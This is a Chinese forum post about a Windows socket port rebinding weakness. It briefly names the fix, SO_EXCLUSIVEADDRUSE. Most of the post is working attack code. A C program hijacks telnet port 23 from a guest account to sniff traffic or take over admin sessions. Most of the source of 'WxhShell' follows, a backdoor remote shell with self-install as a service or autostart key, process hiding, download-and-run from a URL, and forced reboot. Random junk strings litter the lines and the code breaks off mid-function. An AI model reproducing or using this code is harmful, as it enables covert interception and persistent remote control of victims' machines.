社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15927阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DuHu\>f<S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TmV,&['mg  
:dQ B R  
  saddr.sin_family = AF_INET; G%W8S \  
/Y7<5!cS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PU^l.  
-- c"0,7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $NZ-{dY{  
gh8F 2V;<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c5D)   
;k>&FWEG  
  这意味着什么?意味着可以进行如下的攻击: |~vI3]}fx  
.w8J*JZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r 0iK  
wlqpn(XR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) esMX-.8Cx  
ap+JQ@b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s pp f  
~2QR{; XQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \}"$ ?d'f  
9|gr0&#~j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2h1vVF3  
O#S;q5L@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )]H-BIuGm  
r'HtZo$^R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G#u6Am)T  
hUp.tK:X7o  
  #include !FElW`F  
  #include )E-inHD /  
  #include AN/;)wc  
  #include    Pu*6"}#~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lY?QQ01D  
  int main() Ne[7gxpu  
  { C8V/UbA /  
  WORD wVersionRequested; BlA_.]Sg$  
  DWORD ret; xgKdMW'%g:  
  WSADATA wsaData; Z:sg}  
  BOOL val; YH\OFg@7  
  SOCKADDR_IN saddr; )\J+Kiy)  
  SOCKADDR_IN scaddr; $',K7%y  
  int err; z4jR[x,  
  SOCKET s; %B5wH_p  
  SOCKET sc; }:KEj_~.  
  int caddsize; b2OQtSr a  
  HANDLE mt; =IQ5<;U3  
  DWORD tid;   #AL=f'2=f  
  wVersionRequested = MAKEWORD( 2, 2 ); DkvF5c&  
  err = WSAStartup( wVersionRequested, &wsaData ); t>`a sL  
  if ( err != 0 ) { R|(q  
  printf("error!WSAStartup failed!\n"); I uMQ9 &  
  return -1; Tk:h@F|B.|  
  } `\#B18eU  
  saddr.sin_family = AF_INET; `OXpU,Z 6U  
   j/f?"VEr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [d1mL JAR  
&h^9}>rVjV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "NXB$a!:  
  saddr.sin_port = htons(23); IDB+%xl#S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2ZG5<"DQ"  
  { [f1 (`<  
  printf("error!socket failed!\n");  ]%wVHC  
  return -1; uao0_swW5  
  } -xEXN[\S  
  val = TRUE; w&o&jAb-M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7!EBH(,z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~M7y*'oY  
  { =F]FP5V  
  printf("error!setsockopt failed!\n"); S||}nJ0  
  return -1; ;>?rP88t  
  } j}JrE,|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {MCi<7j<?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #xQr<p$L6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iS WU'K  
R3;Tk^5A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b\$}>O  
  { Rv$[)`&T  
  ret=GetLastError(); &U5{Hm9Ynr  
  printf("error!bind failed!\n"); 2[ RoxKm  
  return -1; %.^_Ps0  
  } ]yx$(6_U  
  listen(s,2); zMm#Rhn  
  while(1) d%RC  
  { | r&k48@  
  caddsize = sizeof(scaddr); T`\x,` ^  
  //接受连接请求 @|63K)Xy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BGD8w2  
  if(sc!=INVALID_SOCKET) ] 2eK  
  { |"/8XA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jr /pj?  
  if(mt==NULL) x7:s]<kE  
  { C)@y5. G;  
  printf("Thread Creat Failed!\n"); gcPTLh[^Er  
  break; T arIPp  
  } ]* F\"C@  
  } j.w@(<=x  
  CloseHandle(mt); aI6$?wus  
  } UEM(@zD]  
  closesocket(s); GqaDL3Niqs  
  WSACleanup(); 7=TF.TW)  
  return 0; v/68*,z[  
  }   H%UL%l$  
  DWORD WINAPI ClientThread(LPVOID lpParam) zr+zhpp  
  { TMlP*d#  
  SOCKET ss = (SOCKET)lpParam; ^S UPi  
  SOCKET sc; b&~4t/Vq  
  unsigned char buf[4096]; '_w=k 4  
  SOCKADDR_IN saddr; b[t>te  
  long num; r@+ri1c  
  DWORD val; #fM#p+v  
  DWORD ret; `e}bdj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ftvG\Tf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %C~1^9uq  
  saddr.sin_family = AF_INET; 2 Ga7$q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =BSzsH7  
  saddr.sin_port = htons(23); "a ueL/dgN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `\T]ej}zvI  
  { \>:CvTzF  
  printf("error!socket failed!\n"); x(etb<!jd  
  return -1; #{?PbBE}  
  } dJ2Hr;Lc  
  val = 100; >/kc dWl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uxtWybv  
  { Q[vJqkgT  
  ret = GetLastError(); wRcAX%n&  
  return -1; CFzNwgv]z  
  } \Xm,OE_v"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b J=Jg~&  
  { q>$ev)W  
  ret = GetLastError(); DnCP aM4%  
  return -1; -8:&>~4`  
  } Ghx3EVqnx"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E^ P,*s  
  { Q&wB$*u  
  printf("error!socket connect failed!\n"); v(B<Nb  
  closesocket(sc); 3L833zL  
  closesocket(ss); e+$p9k~  
  return -1; +$C 4\$t  
  } 8jd;JPz@\  
  while(1) %W%9j#!aN  
  { 10<x.8fSP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -fwoTGlX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  `x l   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @R/07&lBR  
  num = recv(ss,buf,4096,0); {sihus#Q  
  if(num>0) ?t/~lv  
  send(sc,buf,num,0); k. MUdU^  
  else if(num==0) n[T[DCQ,  
  break; p7veQ`yNc  
  num = recv(sc,buf,4096,0); *BR~}1 i  
  if(num>0) SB1upTn  
  send(ss,buf,num,0); *5vV6][  
  else if(num==0) LR.Hh   
  break; 6+.uU[x@  
  } N^HUijw<  
  closesocket(ss); 2 ^mJ+v<  
  closesocket(sc); 9o;^[Ql-  
  return 0 ; -yE/f2PgQ  
  } QrB@cK]  
KM}f:_J*lg  
]+|~cRQ9I  
========================================================== Y ;u<GOe  
4wID]bKM  
下边附上一个代码,,WXhSHELL 5mJJU  
$FlW1E j  
========================================================== 'oF%,4 !Y  
As3.Q(#Z  
#include "stdafx.h" l)Pu2!Ic  
1<BX]-/tP  
#include <stdio.h> &<wuJ%'>)Z  
#include <string.h> QW $G  
#include <windows.h> ;3d"wW]}7K  
#include <winsock2.h> FME3sa$  
#include <winsvc.h> >TOu|r  
#include <urlmon.h> ^* J2'X38I  
S0~2{ G"v  
#pragma comment (lib, "Ws2_32.lib") =U#dJ^4P  
#pragma comment (lib, "urlmon.lib") CK,7^U  
_d"b;4l  
#define MAX_USER   100 // 最大客户端连接数 W%T>SpFl  
#define BUF_SOCK   200 // sock buffer 73V|6tmgY  
#define KEY_BUFF   255 // 输入 buffer q}~3C1  
qQA}Z*( m  
#define REBOOT     0   // 重启 q*F{/N **  
#define SHUTDOWN   1   // 关机 dRj|g  
LV\DBDM  
#define DEF_PORT   5000 // 监听端口 xl6,s>ob  
giZP.C"0  
#define REG_LEN     16   // 注册表键长度 +V m}E0Ov  
#define SVC_LEN     80   // NT服务名长度 o*DN4oa)  
rG4';V^q  
// 从dll定义API MS\>DW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K8>zF/# +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BybW)+~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 85n1eE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D}dn.$  
tNGp\~  
// wxhshell配置信息 |?qquD 4=  
struct WSCFG { }._eIx"  
  int ws_port;         // 监听端口 A6:es_  
  char ws_passstr[REG_LEN]; // 口令 k"NVV$;  
  int ws_autoins;       // 安装标记, 1=yes 0=no DE%KW:Hug  
  char ws_regname[REG_LEN]; // 注册表键名 ~-EOjX(X'E  
  char ws_svcname[REG_LEN]; // 服务名 ]z l [H7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9cf:pXMi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @!`Xl*l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }dp=?AFg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .WPV dwV4U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =R#Qx,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M[6:p2u  
|/09<F:L[  
}; x$1]M DAGb  
fb{`` ,nO  
// default Wxhshell configuration c lNkph  
struct WSCFG wscfg={DEF_PORT, k Mu8"Az  
    "xuhuanlingzhe", ^r*r w=  
    1, +)y^ 'Qs  
    "Wxhshell", { jhr<  
    "Wxhshell", /lo2y?CS*  
            "WxhShell Service", k 9L? +PD  
    "Wrsky Windows CmdShell Service", U@-^C"R  
    "Please Input Your Password: ", vH#huZA?7  
  1, g=;%  
  "http://www.wrsky.com/wxhshell.exe", #=6E\&NC  
  "Wxhshell.exe" W}5xmz  
    }; kL$!E9  
B?4boF?~  
// 消息定义模块 n}'=yItVL1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vU767/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 95YL]3V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %] >KvoA  
char *msg_ws_ext="\n\rExit."; pgOQIzu  
char *msg_ws_end="\n\rQuit."; @^T1XX  
char *msg_ws_boot="\n\rReboot..."; _~piZmkG$  
char *msg_ws_poff="\n\rShutdown..."; nHm}zOLc  
char *msg_ws_down="\n\rSave to "; MFb9H{LA  
 OU8Lldt  
char *msg_ws_err="\n\rErr!"; Wzw7tLY._  
char *msg_ws_ok="\n\rOK!"; ,QcF|~n  
8>0e*jC  
char ExeFile[MAX_PATH]; -?mfE+kt  
int nUser = 0; (>r[- Bft  
HANDLE handles[MAX_USER]; Cq%IE^g<  
int OsIsNt; pov)Z):}G<  
gLy&esJl1  
SERVICE_STATUS       serviceStatus; m06ALD_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {buo^kgj`]  
B)qWtMZx  
// 函数声明 k&,~qoU  
int Install(void); Kac' ;1  
int Uninstall(void); rNB_W.  
int DownloadFile(char *sURL, SOCKET wsh); B oC5E#;G  
int Boot(int flag); W3 'q\+  
void HideProc(void); zxC#0@qX07  
int GetOsVer(void); E;+O($bA  
int Wxhshell(SOCKET wsl); LN@F+CyDc  
void TalkWithClient(void *cs); jV4\A  
int CmdShell(SOCKET sock);  \4v]7SV  
int StartFromService(void); yt.F\[1  
int StartWxhshell(LPSTR lpCmdLine); y~F,0"N\r  
ie2WL\tR4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _i20|v   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y*H|?uNF  
&o,<ijJ:^m  
// 数据结构和表定义 P@9t;dZN  
SERVICE_TABLE_ENTRY DispatchTable[] = jpO7'ivG  
{ BK,{N0  
{wscfg.ws_svcname, NTServiceMain}, 4iKgg[)7`=  
{NULL, NULL} Mz~M3$$9n  
}; OoA|8!CFa  
aFS,GiB  
// 自我安装 )XYv}U   
int Install(void) fSs4ZXC  
{ p$PKa.Y3  
  char svExeFile[MAX_PATH]; X)7x<?DAy  
  HKEY key; 0l-Ef 1  
  strcpy(svExeFile,ExeFile); {\c(ls{  
i*#-I3  
// 如果是win9x系统,修改注册表设为自启动 Yy)tmq  
if(!OsIsNt) { `/EGyN6X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +\F'iAs@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A^)?Wt%*  
  RegCloseKey(key); 0V'nK V"|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mf&{7%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fsif6k=4  
  RegCloseKey(key); rvXWcu-"  
  return 0; K95p>E`9e  
    } ">y%iE  
  } cp#JBH O  
} A?-oL='  
else { yIDD@j=l  
J6L  K  
// 如果是NT以上系统,安装为系统服务  DX"xy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p2DrEId  
if (schSCManager!=0) w*oQ["SL  
{ 9983aFam  
  SC_HANDLE schService = CreateService ?e,pN,4  
  ( >h k=VyU;  
  schSCManager, e^<#53!  
  wscfg.ws_svcname, QA5Qwe L  
  wscfg.ws_svcdisp, HN&Z2v   
  SERVICE_ALL_ACCESS, XqW@rU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Aq0S-HKF  
  SERVICE_AUTO_START, CS==A57I  
  SERVICE_ERROR_NORMAL, l i0i"  
  svExeFile, ]>~)<   
  NULL, M;p em<  
  NULL, kH]yl 2  
  NULL, fO0XA"=  
  NULL, Hhari!R XC  
  NULL 2@%$;.  
  ); FE2f'e  
  if (schService!=0) &Nczv"TM  
  { 2\7`/,U6  
  CloseServiceHandle(schService); rzh#CnL3  
  CloseServiceHandle(schSCManager); pO ml8SQf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]y,==1To  
  strcat(svExeFile,wscfg.ws_svcname); rld67'KcE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `<\1[HJ\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X&0 uI*r  
  RegCloseKey(key); @> E2?CV  
  return 0; 2ioQb`=  
    } \Dd-Xn_b  
  } }T%}wdj  
  CloseServiceHandle(schSCManager); 4*e0 hWp  
} 1rkE yh??  
} B:!W$ <  
Z(Bp 0a  
return 1; V{^!BBQ  
} V??dYB(  
q^r#F#*1l  
// 自我卸载 yjhf   
int Uninstall(void) :&:JTa1cv  
{ TW[_Ko86  
  HKEY key; 21< j\ M  
U`Wauv&  
if(!OsIsNt) { &<UMBAS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c2e tc8  
  RegDeleteValue(key,wscfg.ws_regname); ?zQA  
  RegCloseKey(key); TJ1+g \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M $Es%  
  RegDeleteValue(key,wscfg.ws_regname); .8P.)%  
  RegCloseKey(key); p TeOW9  
  return 0; "87ghj_}  
  } 2U; t(,dn'  
} s;64N'HH  
} /C4^<k\  
else { <K8\n^i~c  
sK7+Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @O[}QB?/fi  
if (schSCManager!=0) iv>SsW'p_  
{ =9"W@n[>W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T)Y=zIQ1]7  
  if (schService!=0) j& <i&  
  { lhw()u  
  if(DeleteService(schService)!=0) { w Axrc+  
  CloseServiceHandle(schService); /yZQ\{=  
  CloseServiceHandle(schSCManager); VxXzAeM  
  return 0; ]Yvga!S"C  
  } ^9 ePfF)5  
  CloseServiceHandle(schService); F$hY KT2|  
  } LWHd~"eU  
  CloseServiceHandle(schSCManager); qHP78&wUx  
} 8`fjF/  
} $`- 4Ax4%  
=Q[b'*o7  
return 1; Nqrmp" ]  
} 1f8GW  
hWT[L.>k  
// 从指定url下载文件 4=Krq6{  
int DownloadFile(char *sURL, SOCKET wsh) H8`(O"V  
{ iTV) NsC}  
  HRESULT hr; $pFo Rv  
char seps[]= "/"; Q~j`YmR|  
char *token; W~p/,HcM  
char *file; aOiR l,  
char myURL[MAX_PATH]; tc!wLnhG  
char myFILE[MAX_PATH]; m/qbRk68s  
YJl("MZ  
strcpy(myURL,sURL); 61j I  
  token=strtok(myURL,seps); [fKUyIY_  
  while(token!=NULL) !V,{_(LT  
  { `zE}1M%y  
    file=token; %LZ({\5K#f  
  token=strtok(NULL,seps); a\:VREKj,  
  } kJ-*fe'S  
=?s 3iP  
GetCurrentDirectory(MAX_PATH,myFILE); yNqe8C,>e  
strcat(myFILE, "\\"); vMs$ceq  
strcat(myFILE, file); '8T=~R6  
  send(wsh,myFILE,strlen(myFILE),0); E4W zU  
send(wsh,"...",3,0); LbZ:&/t^y8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y:h}z).  
  if(hr==S_OK) hweaGL t0  
return 0; ZJ 77[  
else *L'>U[Pl7  
return 1; jD`d#R  
NU*fg`w  
} u*#ZXW  
Hw-Z  
// 系统电源模块 f4guz  
int Boot(int flag) kr9g K~  
{ !\,kZ|#>  
  HANDLE hToken; ;XDz)`c  
  TOKEN_PRIVILEGES tkp; %bD}m!  
4|`Bq}sjZf  
  if(OsIsNt) { W!"}E%zx   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MiRdX#+Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x"CZ]p&m  
    tkp.PrivilegeCount = 1; o)[2@fRC(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \C`~S7jC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?&^?-S% p  
if(flag==REBOOT) { $8'O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zBP>jM(8  
  return 0; "luR9l,RRE  
} Q lHd,w  
else { !E-Pa5s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3^Q]j^e4Ny  
  return 0; ^+1#[E  
} V86Xg:?7  
  } ocyb5j  
  else { His*t1o8'O  
if(flag==REBOOT) { 8B#GbS K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cn- nj]  
  return 0; k~|-gf FP  
} D Kw*~0  
else { AT\qiznvP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xGG,2W+z  
  return 0; _` [h,=  
} }h}<! s  
} H-xFiF  
[F[K^xYTlg  
return 1; 1<<kA:d  
} KPpHwcYxT  
S#-tOj U*  
// win9x进程隐藏模块 )|I5j];L  
void HideProc(void) wfP5@!I  
{ "sKa`WN}  
B=@ jWz"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bLnrbid  
  if ( hKernel != NULL ) c.A|Ir  
  { & BvZF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [*Z`Kc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gn{=%`[  
    FreeLibrary(hKernel); @Kgl%[NmX  
  } 7 lo|dg80  
QERU5|.wc  
return; F>X-w+b4r  
} " sgjWo6  
P/ oXDI8  
// 获取操作系统版本 tWdhDt8$&  
int GetOsVer(void) Fbp{,V@F2  
{ w?,M}=vg  
  OSVERSIONINFO winfo; Y=T'WNaL)0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZK'-U,Y.H7  
  GetVersionEx(&winfo); 0iZGPe~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kpI{KISQu  
  return 1; \M"UmSB o  
  else 4W#E`9 6u  
  return 0; D)brPMS:o  
} m"9XT)N  
5eA8niq#  
// 客户端句柄模块 u<n`x6gL  
int Wxhshell(SOCKET wsl) Do]*JO)(  
{ f N "tA  
  SOCKET wsh; =U. b% uC  
  struct sockaddr_in client; (LtkA|:  
  DWORD myID; bhs(Qzx  
gLSA!#[ h  
  while(nUser<MAX_USER) $y?k[Y-~  
{ G3G6IP  
  int nSize=sizeof(client); '&;69`FSe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -[Qvg49jy  
  if(wsh==INVALID_SOCKET) return 1; Xm4CKuU@  
 YOAn4]j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o y<J6  
if(handles[nUser]==0) 2 /y}a#s  
  closesocket(wsh); oR*=|B  
else K$ v"Uk  
  nUser++; vLO&Lpv  
  } rz(0:vxwA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?v-1zCls  
K+T .o6+  
  return 0; ?'r9"M>  
} 'lS `s(  
FhIqy %X  
// 关闭 socket 1|?K\B  
void CloseIt(SOCKET wsh) b59{)u4F  
{ 3qQUpm+  
closesocket(wsh); = zl= SLe  
nUser--; {$M;H+Foh  
ExitThread(0); )n=ARDd^e  
} ?_`0G/xl  
1 11D3  
// 客户端请求句柄 kHJ96G  
void TalkWithClient(void *cs) M"_FrIO  
{ jFerYv&K~  
PVa o  
  SOCKET wsh=(SOCKET)cs; F8+e,x  
  char pwd[SVC_LEN]; ^\:2}4Uj_  
  char cmd[KEY_BUFF]; jvzBh-!  
char chr[1]; * \HRw +cL  
int i,j; o;[bJ Z\^x  
[k]|Qi nk  
  while (nUser < MAX_USER) { nVD Xj  
T!Sj<,r+j  
if(wscfg.ws_passstr) { vRPS4@9'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }xFi& <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -iCcoA  
  //ZeroMemory(pwd,KEY_BUFF); &D#+6M&LK{  
      i=0; +[m8c){  
  while(i<SVC_LEN) {  <1&Ke  
<3hA!$o~  
  // 设置超时 a)2yE,":  
  fd_set FdRead; V8O.3fo`[`  
  struct timeval TimeOut; &!35/:~uD  
  FD_ZERO(&FdRead); Ih1|LR/c  
  FD_SET(wsh,&FdRead); *T4<&  
  TimeOut.tv_sec=8; NfE.N&vI_c  
  TimeOut.tv_usec=0; ' 9J|=z9.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xev54!619  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2@vj!U8  
W>spz~w%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eFTX6XB:i  
  pwd=chr[0]; 6(sIYZ2yq  
  if(chr[0]==0xd || chr[0]==0xa) { S2~@nhO`U(  
  pwd=0; THhy~wC".  
  break; `eRLc}aP2  
  } g$j6n{Yl  
  i++; qvt-  
    } /f1'm@8;  
) qPSD2h  
  // 如果是非法用户,关闭 socket GLKO]y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2r ];V'r  
} he )ulB  
!;>(i e\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {aN(d3c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )%du@a8  
#1$}S=8*f  
while(1) { "uu)2Xe  
6kvV  
  ZeroMemory(cmd,KEY_BUFF); X9~m8c){z  
wVi%oSfM  
      // 自动支持客户端 telnet标准   :G'xi2bs  
  j=0; DM3B]Yl  
  while(j<KEY_BUFF) { bdV3v`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t ,qul4y}  
  cmd[j]=chr[0]; ui'F'"tPz  
  if(chr[0]==0xa || chr[0]==0xd) { >uHS[ _`nM  
  cmd[j]=0; gZ(O)uzv  
  break; '=} Y2?(  
  } Ohl} X 1  
  j++; /~}_hO$S  
    } lVeH+"M?  
~SV Q;U)-  
  // 下载文件 /aUFc'5  
  if(strstr(cmd,"http://")) { Z|^MGyn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CKTrZxR"  
  if(DownloadFile(cmd,wsh)) %OI4a5V*l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BV9*s  
  else qtSs)n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9y"TDo  
  } p q-!WQ  
  else { lSc,AOXp  
|l90g|isJ  
    switch(cmd[0]) { /BzA(Ic/  
  (Cj,\r  
  // 帮助 6MrKi|'X@  
  case '?': { |}qjqtZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E_[ONm=,  
    break; R @r{  
  } g'G8 3F  
  // 安装 3kLOoL?  
  case 'i': { - s|t^  
    if(Install()) }(=ml7)v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GqjO>v fy  
    else ZBj6KqfST%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7b.U!Ju  
    break; `=!p$hg($  
    } J1-):3A  
  // 卸载 PN\V[#nS  
  case 'r': { \:sk9k  
    if(Uninstall()) \ j]~>9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+tO$QZ`  
    else ^\YQ_/\~L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }%{=].)L  
    break; (G5T%[/U  
    } vug-n 8  
  // 显示 wxhshell 所在路径 N&B>#:  
  case 'p': { dy_.(r5[L]  
    char svExeFile[MAX_PATH]; \r]('x3S  
    strcpy(svExeFile,"\n\r"); Za\RM[Z!I  
      strcat(svExeFile,ExeFile); fH!=Zb_{8  
        send(wsh,svExeFile,strlen(svExeFile),0); a R#Cot  
    break; '?R=P  
    } nx :)k-p_[  
  // 重启 |' @[N,  
  case 'b': { ^"`Z1)V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (^S5Sc=  
    if(Boot(REBOOT)) -q(:%;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L; C|ow^c  
    else { _z:Qhe  
    closesocket(wsh); 'aPCb`^;w  
    ExitThread(0); gY\mXM*^  
